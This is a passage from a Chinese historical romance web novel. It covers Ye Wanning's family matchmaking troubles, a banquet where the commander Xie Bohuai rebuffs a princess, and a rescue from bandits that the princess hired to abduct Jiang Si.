而且嫁过去得当后娘,婉宁再怎么样,也不至于嫁到范家! 林氏讪讪道,“大嫂,明德的意思是他会帮忙相看的。” “他一个男人懂什么,后宅的事都是女人在管。不是我说你,你生不出儿子,又管不了事,往后你在叶家怎么能站稳脚跟?”范氏加重语气,句句戳林氏痛处,“我可告诉你,这事我和娘家说好了的,要是成不了,你以后就别回林家了,我们林家不需要那么无能的小姑子!” 被大嫂这么一说,林氏的眼泪瞬间滚落。 此时叶婉玉姐妹也到了门口,叶婉宁自个儿打帘进去,皮笑肉不笑地看着范氏,“原来是林家嫂嫂来了,若不是亲眼看到,我还以为家中多了市井里的亲戚。” 她是在嘲讽范氏说话如市井里的长舌妇,刻薄且不要脸。 第27章 赏花宴 “是婉宁来了啊,真是的,怎么你来了,也没个丫鬟婆子通传一声。”范氏有些心虚,她看不上小姑子,但想为哥哥迎娶叶婉宁,这会还是得拿出好态度来。 叶婉宁笑着坐下,亲切地看向大嫂,“我与大嫂嫂亲如姐妹,丫鬟婆子们都习惯了。方才我听了一嘴,林大嫂嫂是来关心我大嫂嫂什么时候给我生侄儿吗?” “啊?是的是的。” “多谢林大嫂嫂关心了,不过我祖母说啊,大哥哥和大嫂嫂还年轻,并不着急。前几年母亲过世,家中事务都得仰仗大嫂嫂处理,那会萱姐儿也小,不是好时机。”叶婉宁顿了顿,“听闻林大哥哥子嗣颇多,这倒是挺让人羡慕的,家中儿女多,热闹呢。” 林觉不算特别好色,但他于生孩子这件事上,大抵是天赋异禀,每年都有孩子出生。范氏看着一个个庶子,头都要大了,奈何家中婆母盯着,不许她给妾室下避子药。 范氏快控制不住表情,掐着拇指,强扯出一抹笑,“确实热闹,所以我才劝你嫂嫂多生几个。话说回来,我今日是特意来看婉宁你的,瞧瞧,你出落得真是好看,全京城的姑娘,都不如你美。嫂嫂这里有一门好亲事,你……” “大嫂!”林氏坐不住了,打断她大嫂的话。哪里有当着姑娘家面说这个的,范氏说好,让婉宁如何答复?当着面拒绝了,待会范氏又不给面子了。 范氏不悦,“你闭嘴,我和婉宁说话呢。” 叶婉宁为了维护大嫂嫂的面子,才没和范氏翻脸,这会她是忍不住了,“林嫂嫂,我们叶家是书香世家,没有自个儿说亲的事。你说的亲事,还是罢了。” “我都还没说是谁,你怎么就罢了?”范氏急了。 “不用多听,也知道不符合。”叶婉宁直接道。 “你!”范氏气得站起来,“好你个叶婉宁,你倒是心高气傲,现在你看不上我范家,我还不要你了!一个退了婚的姑娘,我看你最后能嫁到谁家!” 叶婉玉立马道,“我大姐姐才貌双全,嫁给谁也比嫁给你们范家的淫贼好!” 亲哥哥被人当面骂淫贼,范氏脸都气红了,“好好好,你们叶家生了几个好女儿。如今你们远不如从前,还嚣张成这个样子,我呸,是我瞎了眼,才会想到亲上加亲!” 摔了茶盏,范氏愤愤离开。 这时叶婉玉才反应过来自己骂过火了,心虚地去看大嫂,“大嫂,对不起,是我冲动了。” “不是你的错。”林氏捂面抽泣。 是她自个儿太没用了,才会让娘家嫂嫂欺辱。 叶婉宁递了帕子过去,“大嫂嫂别自责,是范氏厚颜无耻,你从嫁到叶家起,处处都做得好,我们姐妹心里都感激你的。” “可是婉宁,我大嫂那个人不好相处,今日你们骂了她哥哥,怕是……她会乱说话。”林氏自己受委屈没关系,怕影响了妹妹们。 叶婉宁不怕,“这个没关系,范家那位不是好色么,我们让范家先乱起来,范氏也就自顾不暇了。咱们先下手为强,不用怕范氏。” 范氏真要有脑子,就不会在林家数落林氏,连这一点都做不到,可见范氏不是个好脾气,平常没少得罪人。 回去后,叶婉宁立马让人去安排,不过她发现,身边能用的人太少了。福生盯着周钰,让他两头跑,便会有错过一些事的时候。 那边范氏回去后,立马找人说林家姐妹眼光高,寻常人家都看不上。不过流言没传起来,她哥哥好色的名声传得全京城都知道,气得她娘上门骂她蠢货,不会办事。 男人好色不稀奇,但连妹妹的丫鬟,还有寡居的表嫂都不放过的人,可见淫乱。 这么一来,媒婆们都不敢帮范家相看,范氏大哥的名声是彻底臭了,没一个官宦人家愿意和他们提亲。 叶婉宁能知道范氏大哥搞表嫂,得益于多活了一辈子,提前把这个事给爆了出来。 范氏被娘家指责,又被婆母骂愚蠢,林夫人还是心疼女儿的,知道事情原委后,立马带着礼物来道歉。 “好姑娘,有你这种体贴的小姑子,是我女儿的福气。范氏蠢笨,脑子里只有她那个不成器的哥哥,今日我替她给你道歉了。”林夫人拉着叶婉宁的手,“之前你大嫂就和我提到你的婚事,你放心,我一定替你相看一门好的。” 林大人位居四品,这么些年没有升迁,但比眼下的叶家还是要好上许多。林夫人出身名门,认识了不少人,她能接触到的人家,比叶家要多不少。 叶婉宁想说不用为她费心,但看到大嫂期盼的目光,又只能暂时答应下来。 林氏这才松一口气,她就怕小姑子恼了她,现在看来,小姑子并没有讨厌她。 有了叶婉宁的点头,林夫人办事积极,迅速办了赏花活动,邀请林家姐妹,还有京城许多年轻公子。 这样的宴会,大家都是心知肚明,是用来给大家族相看的。 在赏花宴会前,宫里的选秀结束了,信心满满的谢令仪落选了。她父亲一直和惠王示好,奈何谢泊淮和惠王闹翻脸,惠王连带着整个谢家一起讨厌。惠王府不要她,其他皇孙更不会要。 消息传到叶家,叶婉玉高兴得多喝了一杯酒,“这下谢令仪笑不出来了,她肯定气死了!” 叶婉宁笑了笑,“是啊。” 去林家那天,林氏亲自上手,给三位小姑子打扮好,如今她手里有了点钱,给小姑子们置办了新头面,婆家人对她都好,她得努力让小姑子们都嫁到如意夫婿。 出发时,叶婉宁和林氏同乘一辆马车,她们提早到了林家。 范氏面色极差,但她被婆母敲打过,如果她再分不清主次,就休了她。现在娘家和她决裂,因为哥哥的婚事,母亲甚至对她恶语相向,哪里敢再惹婆母生气。 不过看到叶家的人,范氏还是笑不出来,敷衍着让丫鬟带他们去落座。 林氏被相熟的夫人叫住说话,叶婉宁姐妹不是头一回来,自个儿找地方坐下。 没过多久,姜姒也来了,叶婉宁主动和她打招呼,“出发前,我还在想妹妹会不会来,见到妹妹真好。” 姜姒笑了笑,她心里不愿意来,奈何母亲非要拉她过来,“婉宁姐姐今日真好看。” “你也是。”叶婉宁被林氏精心打扮过,本就娇艳的容貌,更加艳光四射,她坐在姐妹中,让人一眼就能捕捉到。 想到二哥哥也来了,叶婉宁左右转了转,不曾想,对上谢泊淮黑漆漆的眸子。 他不是从不参加这种宴席吗? 第28章 徐达 连姜姒也很意外,不过她和叶婉宁一样,只在心中嘀咕。 谢泊淮一出现,场面立马静了下来,他是风头无限的人物。就算把惠王带去镇府司,皇上只是说了两句,什么惩罚都没有,可见皇上多看重他。 林家人同样愣住,但林觉很快反应过来,谢泊淮是祖宗一样的人物,既然来了,就得好好招待,笑着把人带到男宾聚集的庭院。 宴会没有设屏风遮挡,但男左女右,各有座位排序。 这边谢泊淮坐下,没过多久,谢令仪也到了,只是她没了以前的嚣张,不太乐意地随便坐下。 叶婉玉凑到姐姐边上,“大姐姐,谢令仪脸色好臭。” “嘘,那么多人,别多说话。”叶婉宁小声提醒完,有下人传话,说昭云郡主到了。 林家不是高门大户,林夫人虽然交友广泛,但还不至于和皇家有关系。谢泊淮能来,是林家给谢家下了帖子,不算太意外,但惠王府,林家并没有下帖子。 再多疑问,林家人都不敢表现出来,林夫人亲自迎接,“不知郡主驾临,是我的不是,有失远迎了。” “无妨,我就随便看看,不用特意招待我。”说话时,昭云郡主的目光一直在男宾处寻找,瞧见谢泊淮时,立马洋溢起笑容,但边上嬷嬷拽了拽她衣袖,只好在女宾处坐下。 这场宴会,本就是用来男女相看的,林家设了投壶等游戏,还请了戏班子上门。 叶婉玉爱玩,和叶婉宁说了一声,便拉着姜姒去玩了。 叶婉华爱看戏,由丫鬟带着去看戏的院子,叶婉宁坐了一会儿,感觉到太多人的目光,起身去了院子里。 但她没想到,能听到昭云郡主和谢泊淮的对话。 “谢泊淮,你为什么看不上我?”昭云郡主张开手,不让谢泊淮经过,“你说你有心上人,把她拉出来,我和她比一比,看看她是家世比我好,还是模样比我好?” 谢泊淮像看垃圾一样,“郡主,你除了家世好,还有什么地方好?长得也就那样,性情更说不上好,甚至是刁蛮任性,我的心上人,比你好一百倍一万倍,你给她提鞋都不配。” 顿了顿,谢泊淮再次强调,“我以为我之前的态度够明确了,但你还是不死心,我再多说一遍,我与你,绝无可能!” “谢泊淮!” 昭云郡主长那么大,都是被人捧着,从没有人把她贬低到一文不值,气得哭红了眼。 但谢泊淮头也不回地走了。 “郡主别难受了,是谢大人没眼光,您哪哪都是好的,别听他乱说。天底下好男儿多得是,不差他一个。”丫鬟想帮昭云郡主擦眼泪,却被一把推开。 “你懂什么?我就要谢泊淮,全京城就他长得最好,谁都比不上谢泊淮!”昭云心碎了,但还是不肯放弃,“今日的事,谁都不许和父王母妃说,不让我剪了她的舌头!” 父王已经说过了,有本事她真的上吊去死,他都不会同意她嫁给谢泊淮。 绝食过一次,昭云知道有多痛苦,再让她做点什么,她不太敢了。 是谢泊淮敬酒不吃吃罚酒,她总有法子,让谢泊淮不得不娶她! 昭云郡主愤愤走人,叶婉宁等了一会儿,才敢从假山后出来。 只是刚露个头,就对上一个宽大的人影。 “偷听有意思吗?” 是谢泊淮。 “谢……谢大人?”叶婉宁吓到口吃,他不是走了吗,怎么又回来? “原想着是谁胆大偷听,过来灭个口,没想到又是你。” “灭口?”叶婉宁往后退了一步,身后的云芝同样颤颤发抖,“谢大人,不至于吧?” “你难道没听说,镇府司的谢指挥使最记仇不能惹,谁要沾惹上我,必定不会有好果子吃!”谢泊淮刚说完,看到叶婉宁耳垂尖尖都红透了,轻笑一声,“罢了,叶大姑娘想来是无心的,不过你得帮我照看一个人,今日偷听的事,我便不计较了。” “谁?” “等你归家时,便知道了。”谢泊淮转身走了,叶婉宁看不到他的神情,没看到谢泊淮翘起的唇角。 多了谢泊淮这一出,叶婉宁一整日都在想谢泊淮会把谁给她照看,被林氏带去见人的时候,时常出神。 傍晚归家后,书砚带着人在叶家门口等着,“大姑娘不必太担忧,我家大人树大招风,不好安置这孩子。想着姑娘您是个良善的人,才会把徐达嘱托给您。您以后把他当个寻常小厮看待就行,大人说了,等徐达弱冠,再让徐达去找他。” 叶婉宁看了眼书砚口中的徐达,竟然是她见过的流民,心中有许多意外,但人是谢泊淮送过来的,她只能硬着头皮收下。 把徐达带进叶府,今日不早了,先让云芝给他安排了住处,次日才叫徐达来问话。 “谢……谢大人替我查清楚了,我家的事和他没关系,是我被人利用了。” 徐达跪在地上,说到家人,眼眶红红的,“父亲和哥哥们都死了,母亲受不了打击,投了井。姐姐在流放途中被人欺负后,撞了石头,没救回来。只剩下我和五岁的弟弟,但我没用,弟弟发烧没钱给他看病,家里只剩下我一个人了。谢大人说了,他帮我惩治了坏人,替我家翻案,在我弱冠前就得听他的。往后大姑娘有什么事尽管吩咐我,我绝对没二话!” 云芝听得哭了。 叶婉宁叹了口气,“你多大了?” “十二了,已经能扛事了!”徐达眼睛很大,也很亮,他怕叶婉宁不要他,那他就完不成谢大人的交代。 徐家之前的罪名,十四岁以上男丁全部问斩,其余亲属全部流放。徐达只有十二岁,这才逃过一劫。 看着徐达稚嫩的脸庞,叶婉宁犯了难。 但人是谢泊淮送来的,她又没胆子送回去,罢了,她正好缺人用,往后让徐达帮着跑腿就是。 听到自己可以留下,徐达松了一口气,“大姑娘放心,我以后就是您手下的人,对您绝对忠心!对了,谢大人说,让您别说我是他送来的,只说您随便捡来的就行。我知道他是怕他得罪的人,迁怒我们,才特意交代。您看看,今天我该干什么?” “你嘛……”一时间,叶婉宁想不到有什么事安排给徐达,得知徐达认识字,拿了几本书让徐达去看,“平日里我没什么事,你多看看书,书中自有颜如玉,你要跟在我身边,得多学点本事。” “好嘞!”徐达一口应了下来。 谁也想不到,叶婉宁现在的好心,会在以后换来一个多大的帮手。 以后的事还看不到,但说亲的媒婆们,先来了叶家。 第29章 避暑 叶家姑娘模样都好,前两年是守孝,不曾在宴会场合露面,现在出来见人,一下子被很多人给看上了。 不过来提亲的,都是给婉玉、婉华姐妹,没有人给叶婉宁提亲。 林氏拉着一个相熟的媒人,问了几句,才知道范氏放出去的话虽然没太多人知道,但媒婆们都清楚,不敢接叶婉宁的活。 “大奶奶是个好人,今儿个我和您多说几句,您家大姑娘样样都好,模样和行事都是没得说的。原本嫁高门也是有希望的,但她退过婚,运气实在是不好,牵扯的事情太多,好人家都会直接跳过。毕竟一般人家,也怕守不住那么好的姑娘。”媒婆说完,怕林氏生气,忙起身走了。 林氏发愁道,“婉宁还没说亲,我哪里好越过她,先给婉玉她们相看?” 春杏知道主子在为难什么,“大姑娘是个识大体的,她不会为此抱怨。只是外边人说起来就难听了,但再拖下去,三位姑娘的年纪都要拖大了。” “是啊,母亲说好了帮婉宁相看,也没个消息来。”林氏叹了口气,听到叶婉宁来了,忙敛去忧色。 叶婉宁清楚自己的情况,坐下便道,“大嫂嫂不用替我担心,有合适的,先替妹妹们安排起来。我是大姐,也想看到妹妹们美满。其实我都听说了,你可以安心替妹妹们相看,就是不知道,都有哪家来给妹妹们提亲?” 林氏说了几户人家,叶婉宁注意到了韩家,“韩家还是算了,他家公子不行。” 上辈子,二妹妹就是嫁到韩家,夫妻吵架,韩公子会动手,害得二妹妹小产。这样的人家,不是良配。 “为何?”林氏反而觉得韩家从门第到其他方面,是最相配的。 叶婉宁只好搬出二哥哥,“是二哥哥说过,韩家公子品行暴虐,不是个好的。大嫂嫂若是有觉得好的,可以先让二哥哥去打听,他能知道的,肯定比我们多。” 听到是叶明岳说的,林氏不疑有他,其他的人家总感觉没那么合适,她还得再看看。 怕说多了提亲的事,叶婉宁会失落,林氏笑着转移话题,“今日我还听了一件趣事,媒人们说,昭云郡主放了狠话,不许京城的媒人给谢指挥使说亲。还说,只要谁能告知谢指挥使打算去哪家提亲,她赏金百两!” 一百两黄金,这可不是一笔小数目。 “昭云郡主为了谢大人,真舍得啊。不过这么一来,没人敢和谢指挥使结亲了,毕竟惠王得宠,昭云郡主在京城都是横着走,谁也不敢得罪惠王府。”叶婉宁心中庆幸,还好谢泊淮有了心上人,能处处都比昭云郡主好的,她还真好奇是谁? 林氏笑着说是,“可怜谢指挥使到了年纪,还不能正常相看人家。八成得等昭云郡主出嫁,才能成亲了。” 想到昭云郡主放的狠话,叶婉宁觉得昭云郡主不会轻易放弃。 可谢泊淮都和惠王闹翻了,昭云郡主如何能嫁给谢泊淮? 心中替谢泊淮祈祷几句,叶婉宁和嫂嫂说起旁的事。 入夏之后,一天天地热了起来。 叶婉宁坐了一会儿,要回去时,林氏说到去庄子里避暑的事。 “祖母身子不好,京城里天热,我要在家中照看你大哥他们,不如今年你带着祖母和妹妹们去吧。家中有什么事,我再派人给你送信。”林氏不想去避暑了,嫂嫂的话像一根刺扎在她心中,她得趁这个时间,怀个孩子。 叶婉宁是没有问题,“大嫂不去,那萱姐儿呢?” “她留在我身边,免得你们带着她,还要处处照顾她。”林氏说就这么定了,家中已经安排好,过两日就可以出发。 叶家早些年的田地卖了大半,只留下一处凉爽的庄子,全因叶老夫人怕热。 叶婉宁回去收拾收拾,临走前,特意去找二哥交代几句,“我们都走了,你得小心点,别被大哥哥发现了。” “妹妹放心,你哥哥我机灵着呢!”叶明岳能干自己想干的事,劲头十足,“你是不知道,做生意多有意思。就说前几日,我想买蜀锦,但我没钱,就和人谈了分成,让他把蜀锦放咱们铺子卖,咱们帮他们卖,收取一些银票当人工费。你看我聪明不?” 叶婉宁只把铺子交给二哥,但没给他本钱,能想出这个办法,确实不错。 “妹妹你就等着享福吧,不用半年,只要三个月,我就能把你的生意扩大两倍不止!”叶明岳放下豪言壮语,“等咱们手里有钱,看谁还敢瞧不上咱们家!” 叶婉宁笑着道,“那我等着了。” 交代完二哥哥,次日一早,叶婉宁一行人便出发了。 叶老夫人受不了颠簸,马车走得慢,正午最热的时候,还得在树荫下休息。次日傍晚,他们才看到远处的庄子。 叶婉玉推开木窗,感受着乡间的凉风,“还是外边舒服,不用注意那么多规矩。咦,那不是……” 叶婉玉突然顿住,叶婉宁随口问了句什么,才听她说是周钰。 听到是周钰,叶婉宁凑了过去,以前周钰住在叶家时,夏天也会一块来避暑,现在周钰怎么又来了? 等看到周钰时,才发现不止周钰一人,身后还有几辆马车,她认出是钱家的人。 钱家的庄子在附近,两家人没有来往,不过是见面问个好的交情。 现在看到周钰和钱家的队伍一起,叶婉宁忍住好奇,到了庄子里后,才让徐达出去打听。 次日徐达带了消息回来,“说周翰林是帮忙护送钱家女眷来避暑。” 福生有说过,周钰和钱家走得比较近,可钱家的门第,是叶家都够不到的,怎么会和周钰来往? 前些日子选妃,钱家大姑娘已经入选,只剩下一个从不露面的二姑娘还未出嫁。 钱家人不可能不知道周钰和叶家的事,如果周钰打着做钱家女婿的主意,钱家是不是太不会看人了? 这边叶婉宁还在猜想周钰的动机,钱夫人派人给叶婉宁姐妹送来帖子,邀她们过去做客。这在以前,是从没有过的事。 与此同时的周钰,刚离开钱家庄子,准备回京城去。遇到了去叶家送信回来的小厮。 “夫人说几家人庄子都在附近,想请大家过来坐坐,打发下时间。” “你去了叶家?” “回大人,是的。” 周钰的掌心出了一层薄汗,面上还是保持微笑,“辛苦你了,快去给夫人回话吧。” 第30章 保密 到了看不到钱家庄园的地方,周钰才停下。 “大人,您苦心经营那么久,钱家这是?” 周钰眉头紧皱,和叶婉宁退婚后,他知道自己的情况得先蛰伏下来。对前程,只能徐徐图之。 从搭上钱尚书这条大船起,周钰过得小心翼翼,成日里琢磨着钱家的事。 好不容易等到一些转机,如果他和钱家的婚事被毁,往后更难找到靠山了。 风染同样担忧,“钱大人对您是青睐有加,但钱夫人态度好像不一定,咱们要不要做点什么?” “不用了。”周钰骑马继续往京城走,“我的那些事,钱家都知道。如今表妹已经被我送走,连枫哥儿都没留下,是我对钱家的示好。钱夫人能让我护送他们到这里,肯定不会再说以前的事。至于钱夫人的用意,暂且猜不到。” 那就先不猜了。 周钰过久了被人踩在脚下的日子,他要当人上人,不管付出什么代价,他都愿意。 另一边,叶家也猜不透钱家的意思,得知钱家不止给叶家送了帖子,叶婉宁才敢应下来。 出发去钱家那日,叶婉宁只做了寻常打扮,看到姜姒也在,忙走了过去。 姜姒拉着叶婉宁往里走,“钱夫人是我姨母,她邀我过来做客,知道你们要来,我才多住几日。” “原来是这样,等明儿你上我家玩去,我家庄园比不上钱家阔绰,但小也有小的别致。”叶婉宁盛情邀请。 姜姒一口答应下来,带着叶婉宁姐妹见了钱夫人。 钱夫人有些富态,视线停在叶婉宁身上,夸赞道,“不愧人人都夸你好,果真是个美人。姒儿,你带着两位妹妹去园子里玩,我刚得了一件红玛瑙,正配叶大姑娘。” 姜姒听出姨母的意思,带着叶婉玉姐妹出去。 屋内没了其他人,钱夫人的嬷嬷端着盘子过来,玛瑙红如焰火,是上乘之品。 “夫人,这太贵重了!”叶婉宁无功不受禄,她和钱家可没有那么好的关系。 “是我有求于你,这份礼你受得起。”钱夫人叹气道,“今日我瞧见你,更明白周钰对我家若眉的心思,奈何我把女儿养得太天真,已经听不进去旁人的劝说。” 叶婉宁有些尴尬,这种秘事,不该说给她听的。 “我是当母亲的,不求女儿大富大贵,只要她一生顺遂。我家若眉她……她不太一样。”钱夫人拧着帕子擦泪,夫君觉得周钰不错,女儿对周钰更是一见倾心,凭她怎么说,都没办法让他们改变主意。 不得已之下,钱夫人只能暂时松口,希望周钰放松警惕后,能让他抓到破绽。 到了这会,叶婉宁知道钱夫人的意思了,“既然夫人如此坦诚,我也与您说几句心里话。我曾经也和钱姑娘一样,听不得旁人说周钰半句不好,觉得周钰做什么都是好的。直到我亲眼所见,才彻底失望。” 她声音温和,说话时一直打量着钱夫人的神色,“人教人,学不会。事教人,一次便够。钱姑娘出门甚少,不曾见识过人心险恶,这样单纯的姑娘,算计不过心思深沉的周钰。与其一直劝说,不如让她亲自去看看。” “看看?” “是的,据我所知,周钰已经把许竹苓母子送走,原先我还不知道为了什么,现在是清楚了。以周钰现在的情况,不会给许竹苓母子太多银钱,他们的日子可想而知有多哭。夫人不如趁现在,带着钱姑娘亲自去看看,许竹苓对周钰一心一意,不顾名节替他生下儿子,周钰却这样对她。将心比心,到时候您问问钱姑娘,等哪天周钰不需要倚仗钱家了,周钰会不会这样对她?” 叶婉宁一口气说完,静静地等钱夫人的反应。 钱夫人愣住半天,才深吸一口气,“难怪我妹妹夸你兰心蕙质,果然是个通透的姑娘。这件事是我欠你一个人情,我家若眉的事……” “夫人放心,就算是妹妹们问起来,我也不会多嘴。”叶婉宁保证道。 钱夫人坚持把红玛瑙送给叶婉宁,让叶婉宁去和其他姑娘玩。 可怜天下父母心,钱尚书是男人,对于女婿好不好色,功不功利都不关心,他看中周钰的才华,知道周钰有能力往上爬。但钱夫人不一样,她在后宅里生活了那么多年,若女儿是个寻常的,她必定会把女儿教养出手段来,倒是不怕女婿有心机。 叶婉宁从正院离开,婉玉问她钱夫人说了什么,她只说钱夫人看她有眼缘,别的都没再说。 离开钱家时,姜姒送叶家姐妹到门口,下意识地往远处看了看。 叶婉玉调皮地道,“姜姐姐别看了,我二哥哥被拘在京城里读书呢。” 姜姒“刷”地红了脸,“谁提这个了,婉玉你再这样,我要生气了!” “好姐姐,我不说就是了。我家马车来了,明日你记得早点来,我和姐姐给你做藕粉桂花糕吃!”叶婉玉生性活泼,她喜欢谁,就对谁好。姜姒是个不错的嫂嫂人选,奈何二哥哥不喜欢。 想到二哥哥,叶婉玉眼珠动了动,回去后,便让人往京城送信。 叶婉宁只当不知道妹妹的小动作,只是次日姜姒上门做客,同行的人里,多了个谢泊淮,让叶婉宁很意外。 “途中遇到谢大人,得知我来你们这,他特意护送一段。”姜姒解释道。 钱家离叶家庄园不远,却也有五六里地的路,姜御史是谢泊淮曾经的先生,护送姜姒过来,确实正常。 既然谢泊淮到了,叶婉宁只好客气问一句,“多谢大人护送,不如留下一起用杯茶?” 她想着,谢泊淮是个大忙人,肯定不会答应。 不曾想,谢泊淮应了一声好。 多了个谢泊淮,庄园里又没用男主人,叶婉宁只好让妹妹们带着姜姒去玩,她自个儿等谢泊淮喝完茶离开。 谢泊淮端起茶盏看了看,又放下,“听闻叶家姑娘闻名京城,去林家做了回客人,不少媒人上门提亲。不知叶大姑娘又看上哪家了?” 第31章 山贼 哪家? 原来谢泊淮也有消息不灵通的时候。 只是这种事,影响姑娘家的名声,叶婉宁不好和谢泊淮多说,转而道,“叶家不比谢家,看来这茶不符合谢大人的口味,我让人换过的来。” “不用了。”谢泊淮好似不太开心,起身道,“不管是哪一家,叶大姑娘还是擦亮眼睛好,别一个又一个,最后都落了个空。” 叶婉宁尴尬站着,看谢泊淮就这么走了,觉得这人莫名其妙。他们又不是什么人,那么关心她的婚姻大事做什么? 摇了摇头,叶婉宁转身去找妹妹们玩,还是与姐妹们一块自在。 姜姒今日要在叶家过夜,叶婉玉热情地拉着姜姒说故事,得知姜姒看过很多书,更是缠着姜姒不放。 姜姒很有耐心,不管叶婉玉有什么样的问题,都会认真回答。 一晚过去,叶婉玉和姜姒的关系更好了,次日叶婉玉留人吃午饭,姜姒也只好答应。 直到叶明岳到了庄子里,其余人才知道叶婉玉打的什么小心思。 “二哥哥,我真没骗你,庄子外确实有流民,昨日谢大人还亲自送姜姐姐过来呢。待会你帮忙送姜姐姐回去吧,不然我们不能放心。”叶婉玉道。 叶明岳有些无奈,却只能答应下来,心想等回来后,再找妹妹算账。 目送叶明岳和钱家马车离开,叶婉宁才凑过去问,“你用了什么理由,让你二哥哥来的?” “我就说庄园外不太平,庄园里都是女眷,大哥哥要忙,让二哥哥把书带到庄园读。这信我可是写给大哥哥的,如果让二哥哥去说,大哥哥肯定以为是二哥哥想偷懒。”叶婉玉得意地道,“怎么样,我厉害吧?” “是挺厉害的。”就是不知道姜姑娘和二哥哥,这次还能不能有缘分在一起。 过了一个时辰,没等到叶明岳回来,反而等来车夫,“不好了叶大姑娘,有几个山贼,把姜姑娘掳走了!” “什么?” 一听这话,叶婉宁心头猛跳,怎么会出这种事。 “你先冷静,这个事情关乎姜姑娘的声誉,绝对不能声张。”叶婉宁深吸一口气,“徐达,你现在带着人,跟着车夫去找人。我去钱家,我亲自去找钱夫人帮忙。” 说到这里,才想到问二哥,车夫说叶明岳去追山贼了。 叶婉宁听得眉头紧皱,她二哥这人是会点三脚猫功夫,但没多厉害,真要对上几个人,哪里能囫囵回来。 一刻都不敢等,叶婉宁带着人去了钱家。 马车飞驰到钱家,看到身后扬起尘土,看到是谢泊淮,叶婉宁张了张嘴,思来想去,还是先进了钱家大门。 钱夫人听说姜姒被山贼掳走,差点晕过去,这可是她亲外甥女,若是有个好歹,怎么和妹妹交代? 当下,钱夫人派人去找人。 得知谢泊淮上门,钱夫人又不敢说姜姒丢了,直到谢泊淮自个儿看出端倪。 “谢某正在追查一伙贼人,他们凶神恶煞,并不是好脾气,钱夫人有事还是尽早说的好,不然我怕你追悔莫及。” “可是?”钱夫人还在犹豫。 “谢某只带了一名随从,我可以保证,今日的事绝对不会传到镇府司。”谢泊淮道。 叶婉宁也看向谢泊淮,光是家丁小厮去对付山贼,确实不如谢泊淮有经验,她劝道,“是啊夫人,谢大人有勇有谋,有他帮忙,说不定可以快点找到人。” 再三犹豫下,钱夫人点头答应了,谢泊淮弄清原委后,立马带着钱家的小厮出发。 与此同时的叶明岳,已经趁乱带走了姜姒,两个人穿过跳入水中,顺着河流到了一处山洞。 叶明岳坐在山洞口,背对着姜姒,他的胳膊被划破,正在往下流血。 姜姒拧干衣裙,她怕得脸全白了,看到叶明岳胳膊受伤,眼泪止不住地往下掉,但她知道现在不是哭的时候。 “我……我们现在在哪?”姜姒对附近不熟悉。 “在叶家庄园的南面,那伙贼人应该是外地流窜来的,这里毕竟是京郊,没哪个山贼那么大胆,敢在附近立山头。”叶明岳说话时,一直没回头,“我们在这里等一会儿,那群山贼训练有素,很可能还在附近盘查。” “训练有素?” “是,看着像是逃兵。”叶明岳没进过军营,但他交友广泛,什么样的人都能知道一些。从他和山贼交手,就能感受到,对方不是普通山贼。 姜姒暗道运气不好,不过是五六里地的路,却遇到了山贼。就算她被救回去,以后怎么办? 不过是她连累了叶明岳,以后的事以后再说,她现在不能哭哭啼啼。 擦完眼泪,姜姒拿出帕子,手虽然还在抖,但已经镇定许多,“我帮你把手包扎一下,叶二哥,今日谢谢你。” “是我应该做的,你要有个什么事,我们家都会愧疚的。”叶明岳先出去观察一番,确认四周没有情况,才带着姜姒离开,“你拉着木棍的另一头,我们抓紧回去,天黑就不好办了。” 姜姒点点头,尽管鞋子已经破了,但她一声疼都没说。叶明岳为了救她,都受伤了,她不能娇气。 在两个人落水的断崖边上,几个山贼气得骂人。 “不是让你们注意点,现在人被带走,我们怎么和郡主交代?” “大哥,我们也没想到,会被那男的追上来,他还偷袭我们。” “没用的废物,连这点事都办不好。快点去找人,没找到人,咱们都别想好过。” 郡主交代了,让他们掳走姜姒,毁了她清白,再把人丢到城门口。现在人被带走,他们办事不力,以郡主的脾气,很可能要了他们的命。 几个人沿着河边追去,直到发现两个人的脚印,又加快了步子。 只是追了一会儿,他们发现被耍了,前面并没有路,是对方故意设下的障眼法。 叶明岳知道带着姜姒,走不了太快,所以一路弄了许多障眼法。以前听走镖的朋友说过,山贼多狡诈,所以脑子里的各种法子,他都用上。 第32章 审问 天色渐晚,寻人的事不能再拖,谢泊淮进山后遇到了徐达。 “谢大人,我发现有灌木被折压的痕迹。”徐达指着一个方向,“北面和东面已经找过了,很可能往这边走。” 谢泊淮让徐达带路,很快到了一处断崖,看到沙地上的脚印,立即追了上去。 此时的山贼们,被叶明岳摆了几次,气到放话一定要杀了叶明岳。 “这次兵分两路,我看这小子,还有什么鬼点子。天快黑了,再不把人找到,谁都别想活命!”山贼头头下了命令,一行八个人分成两队,朝着两个方向去。 因为分开行动,在天快黑的时候,山贼发现了叶明岳和姜姒的踪迹。 “看到人了,别让他们跑了!” 山贼的声音引起叶明岳两人的注意,姜姒是闺阁里的大小姐,尽管一路上没休息,她却跑不快。 “叶二哥,你走吧,我不能再拖累你。”姜姒不知道自己得罪了谁,但人是冲着她来的,眼看对方要追上来,她很感恩叶明岳能带她走这一路了。 叶明岳丢了木棍,拉住姜姒手腕开始跑,“失礼了姜姑娘,咱们逃命要紧!” “他娘的小畜生,跑那么快,前面快到钱家,千万不能让人跑了!”山贼们狂追不止。 离钱家还有两里地的路,叶明岳大喊有没有人,但这会没人听到。 直到身后的山贼追了上来,叶明岳赶紧把姜姒推到身后,“你们若是求财,我这里有银钱,你们随便拿去。但你们敢伤人,你们知不知道我们是谁?” “管你是谁,今天你们都别想活着走,哥几个动手,把人绑了带……噗!” 山贼话还没说完,一支羽箭穿喉而过,当场暴毙! 剩下三人还没反应过来,纷纷中箭倒地。 谢泊淮拿着弓箭追了过来,看着地上的四个人,拔出佩剑对着一人的脑门,“说,谁派你们来的?” “我们就是劫财劫色,没有谁……啊!疼疼疼!” 谢泊淮抬脚踩断对方的小腿,像地狱里来的罗刹,眼中杀意快要迸出来,“你现在不说也没关系,我有的是办法审问你。” 边上的姜姒已经吓傻了,谢泊淮回头看了一眼,见两个人还好好的,让徐达把人送去钱家。 姜姒鞋子早就被磨破了,血染红了大半的绣花鞋,钱夫人看到姜姒后,哭得上气不接下气。 府医替姜姒和叶明岳看过后,说两个人并没有大碍,“都是一些皮外伤,没伤到根骨,不过姜姑娘受了惊吓,一时半会可能缓不过来。” 钱夫人稍微松了口气,送走府医后,才去看外甥女,听完过程,一颗心始终悬着,“你是说,那些人冲着你来的?” “回姨母,应该是的。他们抢了我就走,根本没管马车里的其他东西。”姜姒坐在床上,疲惫和伤痛都不足以让她入眠,闭上眼睛,便会想到山贼们可怕的脸,“叶二哥说,那些人像是训练过的逃兵。” 